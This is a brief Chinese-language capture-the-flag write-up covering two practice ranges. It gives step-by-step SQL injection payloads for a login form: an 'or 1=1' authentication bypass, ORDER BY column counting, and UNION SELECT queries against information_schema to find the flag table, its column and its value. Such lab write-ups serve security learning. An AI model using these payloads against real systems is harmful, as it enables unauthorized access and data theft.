靶场一
输入任意密码查看输出
发现输出有单引号
所以试试万能密码' or 1=1 -- qwe
可以成功
判断字段数
输入 order by 语句
有3个字段,第4个字段找不到
判断输入点
为2,3
查询表名
‘ or 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 — qwe
找到flag表
查询列名
‘ and password=’’ or 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=’flag’ limit 0,1 — qwe’
找到flag
查询flag
‘ and password=’’ union select 1,2,flag from flag limit 0,1 #
提交flag
提交成功
靶场二
我们需要用双引号和括号使之闭合,所以万能密码为 ") or 1=1 -- qwe
剩下的操作与作业一类似